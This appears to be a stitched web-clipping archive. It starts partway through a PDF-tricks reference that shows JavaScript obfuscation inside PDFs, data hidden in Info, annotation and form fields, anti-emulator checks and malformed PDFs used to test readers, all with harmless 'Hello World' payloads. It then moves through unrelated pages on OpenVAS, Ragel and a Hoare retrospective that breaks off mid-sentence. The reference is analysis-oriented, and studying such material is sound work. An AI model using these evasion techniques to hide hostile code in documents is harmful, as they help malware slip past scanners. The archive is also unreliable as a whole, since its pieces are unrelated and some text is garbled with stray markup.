\(download\):

[code]

    [...]
         app["alert"]("Hello World!");
    [...]
    
[/code]

## array

the previous example can be extended with a fake array with fake entries,
which makes the actual executed function harder to spot.

Example of a code string evaluated via a fake array reference \(download\):

[code]

    [...]
         e = ("fake1")[("fake2", "eval")]
         e('app.alert("Hello World!");');
    [...]
    
[/code]

## callee

A JavaScript function can access its own code, and use it for anything. Thus,
any modification might prevent the function to work correctly: typically, such
functions use their code as a key for some decryption.

Example of a decryption function, using its own code as decryption key
\(download\):

[code]

    [...]
          function decrypt(cipher)
    [...]
                key = arguments.callee.toString();
    [...]
                return plaintext;
    }
    [...]
          app.alert(decrypt(unescape(".%10%02%0F%1BI8%01R%08%01B")));
    [...]
    
[/code]

# JavaScript + PDF

these tricks are hiding some information in one of the various component of
the PDF, and retrieving that information via JavaScript.

## info

a PDF's trailer can contain an _Info_ dictionary, whose elements' contents can
be retrieved via JavaScript via the _info_ object's properties.

Example of a string being stored as element of a trailer's Info dictionary
\(download\):

[code]

    [...]
          /Info <</Author(Hello) /Title( World) /Producer( !)>>
    [...]
          app.alert(info.author + info.title + info.producer);
    [...]
    
[/code]

## annots

Similarly, a PDF page can contain an annotation, which content can be
retrieved by _getAnnots_ on the specific page.

Example of a string being stored as a page's annotation's subject
\(download\):

[code]

    [...]
        /Annots
    [...]
             /Subj (Hello World!)
    [...]
          d = app.doc;
          d.syncAnnotScan();
          a = d.getAnnots({ nPage: 0 });
          app.alert(a[0].subject);
    [...]
    
[/code]

## getfield

An _\!AcroForm Widget_ can contain some data and value, which can be retrieved
via the _getField_ function.

Example of a string stored in an AcroForm Widget \(download\):

[code]

    [...]
      /AcroForm
    [...]
            /Subtype/Widget
            /T(mydata)        % this is the name
            /V(Hello World!)  % this is the value
    [...]
          app.alert(this.getField('mydata').value);
    [...]
    
[/code]

## form event

A form can contain a template, with an event on its field, that contains a
script.

Example of a JavaScript stored in the field event of a form \(download\):

[code]

    [...]
    1 0 obj <<>>
    [...]
    <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
    [...]
    <template>
        <subform name="_">
            <pageSet/>
            <field id="Hello World!">
                <event activity="initialize">
                    <script contentType='application/x-javascript'>
                        app.alert(this.id);
    [...]
    
    trailer <<
        /Root <<
            /AcroForm <<
    [...]
                /XFA 1 0 R
    [...]
    
[/code]

## anti-emulators

On top of standard JavaScript, it's possible, via Acrobat specificities, to
determine if we're in the real program or in an emulator.

### initial values

some Adobe specific global variables are initialized with default values, so
checking them might stop an emulator.

Example of Acrobat JavaScript code that checks initial values as an anti-
emulator \(download\):

[code]

    [...]
          if ((app)
            && (event.target.zoomType.toString() == 'FitPage'))
    [...]
    
[/code]

### global variables

global variables show a different behavior as opposed to normal ones: their
type is no updated, even if you explicitely assign them new values.

Example of Acrobat JavaScript code that sets global variables, and checks the
result \(download\):

[code]

    [...]
          hidden=0;  // global
          hidden_=0; // not global
          if ((hidden_ === 0) && (hidden !== 0))
              app.alert("nothing unusual detected.");
    [...]
    
[/code]

# Minimalists PDF

see earlier in the page for PDFs as small as possible, but containing nothing.

## Page

to actually contain a page, an object, defining its kid as its parent, should
be referenced in trailer/Root/Pages. <img src='img/pdf_blankpage.png'
width='317' height='297' />

Example of a minimalist PDF with a page \(download\):

[code]

    %PDF-\01 0 obj<</Kids[<</Parent 1 0 R>>]>>trailer<</Root<</Pages 1 0 R>>>>
    
[/code]

## Page + Text

To define a text, the page should have empty resources, and a content, made of
the text itself. <img src='img/pdf_helloworldx.png' width='449' height='383'
/>

Example of a minimalist PDF with page + text, under Acrobat <=9 \(download\):

[code]

    %PDF-\01 0 obj<</Kids[<</Parent 1 0 R/Contents[2 0 R]>>]/Resources<<>>>>2 0 obj<<>>stream
    BT/default 99 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET
    endstream
    trailer<</Root<</Pages 1 0 R>>>>
    
[/code]

Note this object doesn't have to have an _endobj_ tag. On the contrary, it's
required under Acrobat X.

Example of a minimalist PDF with page + text, under Acrobat X \(download\):

[code]

    %PDF-\01 0 obj<</Kids[<</Parent 1 0 R/Contents[2 0 R]>>]/Resources<<>>>>2 0 obj<<>>stream
    BT/default 99 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET
    endstream
    endobj
    trailer<</Root<</Pages 1 0 R>>>>
    
[/code]

## JavaScript

to be able to use JavaScript, a PDF just needs to be empty \(see above\), with
an _OpenAction_ in the _trailer/root_. <img src='img/pdf_js.png' width='352'
height='224' />

Example of a minimalist PDF using JavaScript, under Acrobat <=9 \(download\):

[code]

    %PDF-\0obj<<>>trailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript/JS(app.alert('Hello World!');)>>>>>>
    
[/code]

Example of a minimalist PDF using JavaScript, under Acrobat X \(download\):

[code]

    %PDF-\0trailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript/JS(app.alert('Hello World!');)>>>>>>
    
[/code]

# Corrupted stream

if a FlatEncoded stream is truncated or corrupted, it will be taken as is
until the error - and still interpreted \(typically, such a stream would be
totally discarded\).

An easy way to get the original corrupted stream to decompress like Reader
would, is to actually get Reader to decompress it - without executing it - by
pruning it into a template PDF with attachment. This way, Adobe Reader will
actually be the one decompressing the stream, but not execute it.

WARNING: it will not work if the PDF is encrypted - it should be decrypted
first.

# readers compatibility

using several degrees of PDF malformations on one-page 'Hello world'
documents, you can test your PDF tools 'robustness':

  1. naive is a naive PDF, extremely standard.
  2. generic doesn't contain stream lengths, xref, and EOF, which are the most standard malformations.
  3. slightly linux specific
  4. MuPDF contains _NO_ PDF signature, incomplete Tf parameters, and fewer elements, yet is fully supported by many readers \(Evince, ubuntu preview\)
  5. sumatra is similar to MuPDF, except it contains no endobj, and fewer objects.
  6. adobe reader specific
  7. reader-X contains a _truncated_ signature, specific to Adobe. Also, _no_ font definition is required.
  8. reader is the same, but it also miss an endobj on the stream object.
  9. chrome specific
  10. truncated ` %PDF ` signature
  11. \(disabled\) recursive object
  12. bogus trailer
  13. trailer in a bogus object, in a comment

| software | naive | generic | mupdf | sumatra | reader | readerX | |-| | | | | | | | PDF.JS | Ok | fail | fail | fail | fail | fail | | | | | | | | | | Chrome | Ok | Ok | fail | fail | fail | fail | | Mountain Lion | Ok | Ok | fail | fail | fail | fail | | Safari | Ok | Ok | fail | fail | fail | fail | | Goodreader | warning then Ok | warning then Ok | fail | fail | fail | fail | | | | | | | | | | Adobe Reader 7 | Ok | Warning then Ok | fail | fail | Ok | Warning then Ok | | Adobe Reader 8 | Ok | Ok | fail | fail | Ok | Ok | | Adobe Reader 9 | Ok | Ok | fail | fail | fail | Ok | | Adobe Reader X | Ok | Ok | fail | fail | fail | Ok | | | | | | | | | | Evince | Ok | Ok | Ok | fail | fail | fail | | muPDF | Ok | Ok | no text | Ok | fail | fail | | Sumatra | Ok | Ok | Ok | Ok | fail | fail | | Ubuntu preview | Ok | Ok | Ok | fail | fail | fail | | | | | | | | |
<img src='img/pdf_standards.png' width='888' height='430' />

## a schizophrenic PDF

a working PDF, giving different results in Sumatra, Chrome reader and Adobe
Reader, with oddities specific to each viewer.

<img src='img/pdf_standardmerged.png' width='887' height='377' />

# PDF Secrets

A study on how to reveal or hide secrets in PDF documents.

Presented at RaumZeitLabor on the 2014/05/17 \(PoCs\)

<wiki:gadget
url="https://corkami.googlecode.com/svn/wiki/gadgets/pdfsecrets\_slideshare.xml"
width=595 height=497 border=0/>

<wiki:video url="http://www.youtube.com/watch?v=JQrBgVRgqtc"/>

# References

  * Didier Stevens
  * Jonas Magazinius
  * Julia Wolf
  * Kazumasa Itabashi
  * Sebastian Porst

  

# Hacking Web 2.0 JavaScript - Reverse Engineering, Discovery and Revelations

**Created:**| _4/15/2010 3:53:20 PM_  
---|---  
**Updated:**| _4/15/2010 3:54:20 PM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark security tools code-review reversing web
pentest analysis Java code-checks content security static awesome JavaScript_  
  
<img src='img/Temp2_3594' />

# OpenVAS - Advanced Open Source vulnerability scanner ~ THN : The Hacker News

**Created:**| _10/24/2011 11:53:05 AM_  
---|---  
**Updated:**| _10/24/2011 11:53:05 AM_  
**Author:**| __  
**Tags:**| _security tools nessus_  
  

**OpenVAS** \- Advanced Open Source vulnerability scanner  

<img src='img/Temp2_5963.png' width='640' height='470' />

  
  
OpenVAS is a framework of several services and tools offering a comprehensive
and powerful vulnerability scanning and vulnerability management solution.The
powerful and comprehensive OpenVAS solution is available as Free Software and
maintained on a daily basis.  
**An overview of the vulnerability handling process is:**  

  * The reporter reports the vulnerability privately to OpenVAS.
  * The appropriate component's developers works privately with the reporter to resolve the vulnerability.
  * A new release of the OpenVAS component concerned is made that includes the fix.

<img src='img/Temp2_5964.png' width='640' height='392' />

  

The OpenVAS Manager is the central service that consolidates plain
vulnerability scanning into a full vulnerability management solution. The
Manager controls the Scanner via OTP \(OpenVAS Transfer Protocol\) and itself
offers the XML-based, stateless OpenVAS Management Protocol \(OMP\). All
intelligence is implemented in the Manager so that it is possible to implement
various lean clients that will behave consistently e.g. with regard to
filtering or sorting scan results. The Manager also controls a SQL database
\(sqlite-based\) where all configuration and scan result data is centrally
stored.

# Ragel State Machine Compiler

**Created:**| _1/18/2013 8:12:33 AM_  
---|---  
**Updated:**| _1/18/2013 8:12:33 AM_  
**Author:**| __  
**Tags:**| _parser code-gen_  
  
  

# **R** agel State Machine Compiler****

**Ragel State Machine Compiler**

## What is Ragel**?**

Ragel compiles executable finite state machines from regular languages**.**
Ragel targets C, C++, Objective-C, D, Java and Ruby**.** Ragel state machines
can not only recognize byte sequences as regular expression machines do, but
can also _execute code_ at arbitrary points in the recognition of a regular
language**.** Code embedding is done using inline operators that do not
disrupt the regular language syntax**.**

The core language consists of standard regular expression operators \(such as
_union_ , _concatenation_ and _Kleene star_\) and action embedding
operators**.** The user's regular expressions are compiled to a deterministic
state machine and the embedded actions are associated with the transitions of
the machine**.** Understanding the formal relationship between regular
expressions and deterministic finite automata is key to using Ragel
effectively**.**

Ragel also provides operators that let you control any non-determinism that
you create, construct scanners, and build state machines using a statechart
model**.** It is also possible to influence the execution of a state machine
from inside an embedded action by jumping or calling to other parts of the
machine, or reprocessing input**.**

Ragel provides a very flexible interface to the host language that attempts to
place minimal restrictions on how the generated code is integrated into the
application**.** The generated code has no dependencies**.**

[code]

    action dgt      { printf("DGT: %c\n", fc); }
    action dec      { printf("DEC: **.** \n"); }
    action exp      { printf("EXP: %c\n", fc); }
    action exp_sign { printf("SGN: %c\n", fc); }
    action number   { /*NUMBER*/ }
    
    number = (
        [0-9]+ $dgt ( '**.** ' @dec [0-9]+ $dgt )?
        ( [eE] ( [+\-] $exp_sign )**?** [0-9]+ $exp )?
    ) %number;
    
    main := ( number '\n' )*;
    
[/code]

| **= > **|

[code]

    st0:
        if ( ++p == pe )
            goto out0;
        if ( 48 <= (*p) && (*p) <= 57 )
            goto tr0;
        goto st_err;
    tr0:
        { printf("DGT: %c\n", (*p)); }
    st1:
        if ( ++p == pe )
            goto out1;
        switch ( (*p) ) {
            case 10: goto tr5;
            case 46: goto tr7;
            case 69: goto st4;
            case 101: goto st4;
        }
        if ( 48 <= (*p) && (*p) <= 57 )
            goto tr0;
        goto st_err;
    
[/code]  
---|---|---  
**||  
\/**|  
<img src='img/Temp2_6718.png' width='576' height='100' alt='click for larger'
/>

\[1\]

## What kind of task is Ragel good for**?**

  * Writing robust protocol implementations**.**
  * Parsing data formats**.**
  * Lexical analysis of programming languages**.**
  * Validating user input**.**

## Features****

  * Construct finite state machines using: 
    * regular language operators
    * state chart operators
    * a scanner operator
    * some mix of the above
  * Embed actions into machines in arbitrary places**.**
  * Control non-determinism using guarded operators**.**
  * Minimize state machines using Hopcroft's algorithm**.**
  * Visualize output with Graphviz \[2\]**.**
  * Use byte, double byte or word-sized alphabets**.**
  * Generate C, C++, Objective-C, D, Java or Ruby code with no dependencies**.**
  * Choose from table or control flow driven state machines**.**

## Publications****

\[1\]| Adrian D. Thurston**.** "Parsing Computer Languages with an Automaton
Compiled from a Single Regular Expression**.** " In 11th International
Conference on Implementation and Application of Automata \(CIAA 2006\),
Lecture Notes in Computer Science, volume 4094, pp**.** 285-286, Taipei,
Taiwan, August 2006\. pdf \[3\]**.**  
---|---  
## Documentation, Editors and Mailing List****

Ragel has a user guide available in PDF \[4\] format as well as a man
page**.** Major version number releases contain language changes**.** See the
ChangeLog \[5\] and Release Notes \[6\] for details**.**

If you use Vim, there is a syntax file ragel.vim \[7\] for your editing
pleasure**.** If you use TextMate there is a Ragel bundle Ragel.tmbundle
\[8\]**.**

The Ragel mailing list is available here: ragel-users \[9\]**.** Ask for help,
post parsing problems, or tell us what you think of Ragel**.**

## Links****

  * NEW Connecting Ragel to Bison in C++ \[10\]
  * Stream Parser with Ragel and Ruby \[11\]
  * Does your project use Ragel**?** Make the docs sexy with Dexy \[12\]. 
  * A simple intro to writing a lexer with Ragel \[13\]
  * Jitify Web Acceleration \[14\] with lexers in Ragel \[15\]**.**
  * Calculating the mean selector specificity, using a Ragel-generated CSS3 parser**.** project \[16\], blog post \[17\]**.**
  * Article \[18\] on use of ragel in embedded systems. 
  * Lighttpd sandbox \(which will become 2**.** 0\) uses Ragel**.** link \[19\].
  * There are Ragel lexers for the Pygments syntax highlighting system**.** link \[20\].
  * An implementation of W3C Selectors in Java**.** link \[21\].
  * Source code line counting**.** link \[22\].
  * Screenplay typesetting**.** link \[23\].
  * EaRing, an assembler using Ragel and Lemon**.** link \[24\].
  * An include file dependency scanner, mostly for C files**.** link \[25\].
  * CroMo: Morphological analysis of Croatian and other languages**.** link \[26\].
  * An ESI server derived from Mongrel**.** link \[27\].
  * A little assembler that uses Ragel for scanning and Lemon for parsing**.** link \[28\].
  * An article in Japanese on using Ragel**.** link \[29\].
  * Using Ragel for scanning wikitext**.** link \[30\].
  * A Brazilian Portuguese translation of the above:  Um Hello World para o Ruby em Ragel 6**.** 0 \[31\]

|

  * devChix article: A Hello World for Ruby on Ragel \[32\]**.** \(updated \[33\]\) 
  * Perian \[34\] is a QuickTime component that adds native support for many popular video formats**.**
  * ABNF Generator \[35\] is a tool which accepts grammars in ABNF and outputs Ragel definitions**.**
  * Qfsm \[36\] is a graphical tool for designing state machines**.** It includes a Ragel export feature.
  * Layout Expression Language \[37\] \(part of Profligacy \[38\]\) is for building Swing GUIs with JRuby**.**
  * RaSPF \[39\] is an SPF library in C.
  * appid \[40\]: single-pass application protocol identification**.**
  * Utu \[41\]: internet communication with cryptographically enforced identity, reputation and retribution**.**
  * Lib2geom \[42\]: a computational geometry library for Inkscape \[43\]**.**
  * A JSON parser for Pike. link \[44\]
  * json \[45\] A JSON parser and generator for Ruby**.**
  * SuperRedCloth \[46\] is a snappy implementation of Textile for Ruby**.**
  * Zed Shaw on Ragel State Charts. link \[47\]
  * RFuzz \[48\] is an HTTP destroyer**.**
  * Hpricot \[49\] is an HTML parsing and manipulation library for Ruby**.**
  * Mongrel \[50\] is an HTTP library and server for Ruby**.**
  * Using Ragel and XCode. link \[51\]

  
---|---  
## Examples****

**Clang:** a scanner for a simple C like language**.** clang.rl \[52\] **Mailbox:** parses unix mailbox files**.** It breaks files into separate messages, the headers within messages and the bodies of messages**.** mailbox**.** rl \[53\] **AwkEmu:** performs the basic parsing that the awk program performs on input**.** awkemu**.** rl \[54\] **Atoi:** converts a string to an integer**.** atoi**.** rl \[55\] **Concurrent:** performs multiple independent tasks concurrently**.** concurrent**.** rl \[56\] |  |  **StateChart:** the Atoi machine built with the named state and transition list paradigm**.** statechart**.** rl \[57\] **GotoCallRet:** demonstrates the use of fgoto, fcall, fret and fhold**.** gotocallret**.** rl \[58\] **Params:** parses command line arguments**.** params.rl \[59\] **RagelScan:** scans ragel input files**.** rlscan.rl \[60\] **CppScan:** A c++ scanner that uses the longest-match method of scanning cppscan**.** rl \[61\]  
---|---|---  
## Download****

**Source Code Repository:**  
  
`git://git.complang.org/ragel.git` **Tar**.** Gz:** The latest release is version is ragel-6**.** 7.tar.gz \[62\] \(sig \[63\]\)**.** **Older:** Previous versions are available here \[64\]**.** **Debian:** The homepage for the Debian \[65\] package of Ragel is here \[66\]**.** It is by Robert Lemmen \[67\]. **OpenPKG:** Ragel has been included in the OpenPKG \[68\] project**.** **FreeBSD:** A port \[69\] for Ragel is available in the FreeBSD \[70\] ports system**.** **NetBSD:** There is a package \[71\] for Ragel in the pkgsrc \[72\] database**.** |  |  **Mac OS X:** A port \[73\] is available in the MacPorts \[74\] repository**.** **Crux:** A port for the Crux \[75\] Linux distribution is available here \[76\]**.** **Gentoo:** A Gentoo port \[77\] is available**.** **Suse:** Packages for Suse can be found here \[78\]**.** **Windows:** Ragel can be compiled using Cygwin or MinGW**.** Binaries compiled with visual studio are here \[79\] \(6**.** 7\), provided by Joseph Goettgens. \(landing \[80\]\) **Redhat/Fedora:** A package \[81\] for Ragel is available in Fedora Extras**.** **Slackware:** A package \[82\] is available at LinuxPackages.net \[83\]  
---|---|---  
**Version:** |  6**.** 7   
---|---  
**Date:** |  May 22, 2011   
**Change Log:** |  ChangeLog \[84\]  
**Tar**.** Gz:** |  ragel-6.7.tar**.** gz \[85\] \(sig \[86\]\)   
**Zip:** |  ragel-6**.** 7.zip \[87\] \(sig \[88\]\)   
**User Guide PDF:** |  ragel-guide-6**.** 7.pdf \[89\]  
The public key for package signing is here \[90\]**.**

## License****

Ragel is released under the GNU General Public License**.** A copy of the
license is included in the distribution**.** It is also available from GNU
\[91\].

**Note:** parts of Ragel output are copied from Ragel source covered by the
GNU GPL**.** As a special exception to the GPL, you may use the parts of Ragel
output copied from Ragel source without restriction**.** The remainder of
Ragel output is derived from the input and inherits the copyright status of
the input file**.** Use of Ragel makes no requirements about the license of
generated code**.**

## Credits****

Ragel was written by Adrian Thurston \[92\]**.** It was originally developed
in early 2000 and was first released January 2002**.** Many people have
contributed feedback, ideas and code**.** Please have a look at the CREDITS
\[93\] file**.**

* * *
****

  1. http://www.complang.org/ragel/number\_lg.png
  2. http://www.graphviz.org/
  3. http://www.complang.org/thurston/thurston\_CIAA\_06\_sing\_regex.pdf
  4. http://www.complang.org/ragel/ragel-guide-6.7.pdf
  5. http://www.complang.org/ragel/ChangeLog
  6. http://www.complang.org/ragel/RELEASE\_NOTES\_V6
  7. http://www.complang.org/ragel/ragel.vim
  8. http://macromates.com/svn/Bundles/trunk/Bundles/Ragel.tmbundle/
  9. http://www.complang.org/mailman/listinfo/ragel-users
  10. http://zusatz.wordpress.com/2012/07/08/connecting-ragel-to-bison-in-c/
  11. http://numbers.brighterplanet.com/2011/06/14/stream\_parser\_with\_ragel\_and\_ruby/
  12. http://www.dexy.it/
  13. http://thingsaaronmade.com/blog/a-simple-intro-to-writing-a-lexer-with-ragel.html
  14. http://www.jitify.com/
  15. http://github.com/brianpane/jitify-core/
  16. http://github.com/xing/selector-specificity
  17. http://devblog.xing.com/frontend/css-selector-specificity-and-complexity-in-development/
  18. http://www.avrfreaks.net/index.php?name=PNphpBB2&file=viewtopic&t=80042
  19. http://redmine.lighttpd.net/wiki/lighttpd-sandbox/
  20. http://pygments.org/
  21. http://wiki.github.com/chrsan/css-selectors/
  22. http://labs.ohloh.net/ohcount/
  23. http://eleanor.rubyforge.org/
  24. http://zedshaw.com/projects/earing/
  25. http://dvide.com/labs/cppinclude/
  26. http://personal.unizd.hr/~dcavar/CroMo/
  27. http://code.google.com/p/mongrel-esi/
  28. http://zedshaw.com/projects/earing/
  29. http://jp.rubyist.net/magazine/?0023-Ragel
  30. http://wincent.com/a/about/wincent/weblog/archives/2008/02/ragel\_wins\_fata.php
  31. http://artigos.waltercruz.com/a-hello-world-for-ruby-on-ragel
  32. http://www.devchix.com/2007/12/13/a-hello-world-for-ruby-on-ragel/
  33. http://www.devchix.com/2008/01/13/a-hello-world-for-ruby-on-ragel-60/
  34. http://www.perian.org/
  35. http://www.2p.cz/en/abnf\_gen/
  36. http://qfsm.sourceforge.net/
  37. http://ihate.rubyforge.org/profligacy/lel.html
  38. http://ihate.rubyforge.org/profligacy/
  39. http://code.google.com/p/raspf/
  40. http://code.google.com/p/appid/
  41. http://www.savingtheinternetwithhate.com/
  42. http://lib2geom.sourceforge.net/
  43. http://www.inkscape.org/
  44. http://modules.gotpike.org/module\_info.html?module\_id=43
  45. http://json.rubyforge.org/
  46. http://redhanded.hobix.com/inspect/superredclothAsAChild.html
  47. http://www.zedshaw.com/essays/ragel\_state\_charts.html
  48. http://rfuzz.rubyforge.org/
  49. http://code.whytheluckystiff.net/hpricot/
  50. http://mongrel.rubyforge.org/
  51. http://www.entropy.ch/software/macosx/docs/ragel-xcode-graphviz/
  52. http://www.complang.org/ragel/examples/clang.rl
  53. http://www.complang.org/ragel/examples/mailbox.rl
  54. http://www.complang.org/ragel/examples/awkemu.rl
  55. http://www.complang.org/ragel/examples/atoi.rl
  56. http://www.complang.org/ragel/examples/concurrent.rl
  57. http://www.complang.org/ragel/examples/statechart.rl
  58. http://www.complang.org/ragel/examples/gotocallret.rl
  59. http://www.complang.org/ragel/examples/params.rl
  60. http://www.complang.org/ragel/examples/rlscan.rl
  61. http://www.complang.org/ragel/examples/cppscan.rl
  62. http://www.complang.org/ragel/ragel-6.7.tar.gz
  63. http://www.complang.org/ragel/ragel-6.7.tar.gz.asc
  64. http://www.complang.org/ragel/files.html
  65. http://www.debian.org/
  66. http://packages.debian.org/sid/ragel
  67. http://www.semistable.com/
  68. http://www.openpkg.org/
  69. http://www.freebsd.org/cgi/ports.cgi?query=ragel&stype=name
  70. http://www.freebsd.org/
  71. http://pkgsrc.se/devel/ragel/
  72. http://pkgsrc.se/
  73. http://svn.macports.org/repository/macports/trunk/dports/lang/ragel/
  74. http://www.macports.org/
  75. http://www.crux.nu/
  76. http://yhafri.club.fr/crux/index.html
  77. http://packages.gentoo.org/package/ragel
  78. http://download.opensuse.org/repositories/devel:/tools:/building/
  79. http://www.jgoettgens.de/Meine\_Bilder\_und\_Dateien/ragel-vs2008.7z
  80. http://www.jgoettgens.de/ef092179-cc5a-48b8-ac87-26545c85c2f3.html
  81. https://admin.fedoraproject.org/pkgdb/packages/name/ragel
  82. http://www.linuxpackages.net/pkg\_details.php?id=12598
  83. http://www.linuxpackages.net/
  84. http://www.complang.org/ragel/ChangeLog
  85. http://www.complang.org/ragel/ragel-6.7.tar.gz
  86. http://www.complang.org/ragel/ragel-6.7.tar.gz.asc
  87. http://www.complang.org/ragel/ragel-6.7.zip
  88. http://www.complang.org/ragel/ragel-6.7.zip.asc
  89. http://www.complang.org/ragel/ragel-guide-6.7.pdf
  90. http://www.complang.org/thurston/thurston.asc
  91. http://www.gnu.org/
  92. http://www.complang.org/thurston/
  93. http://www.complang.org/ragel/CREDITS

yup

Verwandte Notizen

Deaktivieren?

Harmony Security : Reflective Dll Injection&nbsp; &nbsp; &nbsp; Welcome Blog
Research Services Contact &nbsp; &nbsp; Download The Paper Reflective Dll
Injection \[PDF\] The PoC Code Reflective Dll Injection \[ZIP\] Reflective Dll
Injection Abstrac...

Type Inference Languages: Standard ML, OCaml, Scala, Haskell -
HyperpolyglotHyperpolyglot Type Inference Languages: Standard ML, OCaml,
Scala, Haskell a side-by-side reference sheet arithmetic and logic| strings|
lists and tuples| data types| functions and scope| execution c...

  

# Retrospective: An Axiomatic Basis for Computer Programming | October 2009 | Communications of the ACM
**Created:**| _10/27/2009 9:32:59 PM_  
---|---  
**Updated:**| _10/27/2009 9:33:22 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification programming_  
  

# Retrospective: An Axiomatic Basis for Computer Programming

C.A.R. Hoare revisits his past  _Communications_ article on the axiomatic
approach to programming and uses it as a touchstone for the future.

C.A.R. Hoare

Communications of the ACM  
Vol. 52 No. 10, Pages 30-32  
10.1145/1562764.1562779

<img src='img/Temp2_6841.jpg' alt='[article image]' />

C.A.R. Hoare attending the NATO Software Engineering Techniques Conference in
1969.Credit: Robert M. McClure

This month marks the 40th anniversary of the publication of the first article
I wrote as an academic.a I have been invited to give my personal view of the
advances that have been made in the subject since then, and the further
advances that remain to be made. Which of them did I expect, and which of them
surprised me?

back to top

### Retrospective \(1969–1999\)

My first job \(1960–1968\) was in the computer industry; and my first major
project was to lead a team that implemented an early compiler for ALGOL 60.
Our compiler was directly structured on the syntax of the language, so
elegantly and so rigorously formalized as a context-free language. But the
semantics of the language was even more important, and that was left informal
in the language definition. It occurred to me that an elegant formalization
might consist of a collection of axioms, similar to those introduced by Euclid
to formalize the science of land measurement. My hope was to find axioms that
would be strong enough to enable programmers to discharge their responsibility
to write correct and efficient programs. Yet I wanted them to be weak enough
to permit a variety of efficient implementation strategies, suited to the
particular characteristics of the widely varying hardware architectures
prevalent at the time.

I expected that research into the axiomatic method would occupy me for my
entire working life; and I expected that its results would not find widespread
practical application in industry until after I reached retirement age. These
expectations led me in 1968 to move from an industrial to an academic career.
And when I retired in 1999, both the positive and the negative expectations
had been entirely fulfilled.

The main attraction of the axiomatic method was its potential provision of an
objective criterion of the quality of a programming language, and the ease
with which programmers could use it. For this reason, I appealed to academic
researchers engaged in programming language design to help me in the research.
The latest response comes from hardware designers, who are using axioms in
anger \(and for the same reasons as given above\) to define the properties of
modern multicore chips with weak memory consistency.

One thing I got spectacularly wrong. I could see that programs were getting
larger, and I thought that testing would be an increasingly ineffective way of
removing errors from them. I did not realize that the success of tests is that
they test the programmer, not the program. Rigorous testing regimes rapidly
persuade error-prone programmers \(like me\) to remove themselves from the
profession. Failure in test immediately punishes any lapse in programming
concentration, and \(just as important\) the failure count enables
implementers to resist management pressure for premature delivery of
unreliable code. The experience, judgment, and intuition of programmers who
have survived the rigors of testing are what make programs of the present day
useful, efficient, and \(nearly\) correct. Formal methods for achieving
correctness must support the intuitive judgment of programmers, not replace
it.

My basic mistake was to set up proof in opposition to testing, where in fact
both of them are valuable and mutually supportive ways of accumulating
evidence of the correctness and serviceability of programs. As in other
branches of engineering, it is the responsibility of the individual software
engineer to use all available and practicable methods, in a combination
adapted to the needs of a particular project, product, client, or environment.
The best contribution of the scientific researcher is to extend and improve
the methods available to the engineer, and to provide convincing evidence of
their range of applicability. Any more direct advocacy of personal research
results actually excites resistance from the engineer.

back to top

### Progress \(1999–2009\)

On retirement from University, I accepted a job offer from Microsoft Research
in Cambridge \(England\). I was surprised to discover that assertions,
sprinkled more or less liberally in the program text, were used in development
practice, not to prove correctness of programs, but rather to help detect and
diagnose programming errors. They are evaluated at runtime during overnight
tests, and indicate the occurrence of any error as close as possible to the
place in the program where it actually occurred. The more expensive assertions
were removed from customer code before delivery. More recently, the use of
assertions as contracts between one module of program and another has been
incorporated in Microsoft implementations of standard programming languages.
This is just one example of the use of formal methods in debugging, long
before it becomes possible to use them in proof of correctness.

> _I did not realize that the success of tests is that they test the
> programmer, not the program._
In 1969, my proof rules for programs were devised to extract easily from a
well-asserted program the mathematical 'verification conditions', the proof of
which is required to establish program correctness. I expected that these
conditions would be proved by the reasoning methods of standard logic, on the
basis of standard axioms and theories of discrete mathematics. What has
happened in recent years is exactly the opposite of this, and even more
interesting. New branches of applied discrete mathematics have been developed
to formalize the programming concepts that have been introduced since 1969
into standard programming languages \(for example, objects, classes, heaps,
pointers\). New forms of algebra have been discovered for application to
distributed, concurrent, and communicating processes. New forms of modal logic
and abstract domains, with carefully restricted expressive power, have been
invented to simplify human and mechanical reasoning about programs. They
include the dynamic logic of actions, temporal logic, linear logic, and
separation logic. Some of these theories are now being reused in the study of
computational biology, genetics, and sociology.

Equally spectacular \(and to me unexpected\) progress has been made in the
automation of logical and mathematical proof. Part of this is due to Moore's
Law. Since 1969, we have seen steady exponential improvements in computer
capacity, speed, and cost, from megabytes to gigabytes, and from megahertz to
gigahertz, and from megabucks to kilobucks. There has been also at least a
thousand-fold increase in the efficiency of algorithms for proof discovery and
counterexample \(test case\) generation. Crudely multiplying these factors, a
trillion-fold improvement has brought us over a tipping point, at which it has
become easier \(and certainly more reliable\) for a researcher in verification
to use the available proof tools than not to do so. There is a prospect that
the activities of a scientific user community will give back to the tool-
builders a wealth of experience, together with realistic experimental and
competition material, leading to yet further improvements of the tools.

For many years I used to speculate about the eventual way in which the results
of research into verification might reach practical application. A general
belief was that some accident or series of accidents involving loss of life,
perhaps followed by an expensive suit for damages, would persuade software
managers to consider the merits of program verification.

This never happened. When a bug occurred, like the one that crashed the maiden
flight of the Ariane V spacecraft in 1996, the first response of the manager
was to intensify the test regimes, on the reasonable grounds that if the
erroneous code had been exercised on test, it would have been easily corrected
before launch. And if the issue ever came to court, the defense of 'state-of-
the-art' practice would always prevail. It was clearly a mistake to try to
frighten people into changing their ways. Far more effective is the incentive
of reduction in cost. A recent report from the U.S. Department of Commerce has
suggested that the cost of programming error to the world economy is measured
in tens of billions of dollars per year, most of it falling \(in small but
frequent doses\) on the users of software rather than on the producers.

The phenomenon that triggered interest in software verification from the
software industry was totally unpredicted and unpredictable. It was the attack
of the hacker, leading to an occasional shutdown of worldwide commercial
activity, costing an estimated $4 billion on each occasion. A hacker exploits
vulnerabilities in code that no reasonable test strategy could ever remove
\(perhaps by provoking race conditions, or even bringing dead code cunningly
to life\). The only way to reach these vulnerabilities is by automatic
analysis of the text of the program itself. And it is much cheaper, whenever
possible, to base the analysis on mathematical proof, rather than to deal
individually with a flood of false alarms. In the interests of security and
safety, other industries \(automobile, electronics, aerospace\) are also
pioneering the use of formal tools for programming. There is now ample scope
for employment of formal methods researchers in applied industrial research.

back to top

### Prospective \(2009–\)

In 1969, I was afraid industrial research would dispose such vastly superior
resources that the academic researcher would be well advised to withdraw from
competition and move to a new area of research. But again, I was wrong. Pure
academic research and applied industrial research are complementary, and
should be pursued concurrently and in collaboration. The goal of industrial
research is \(and should always be\) to pluck the 'low-hanging fruit'; that
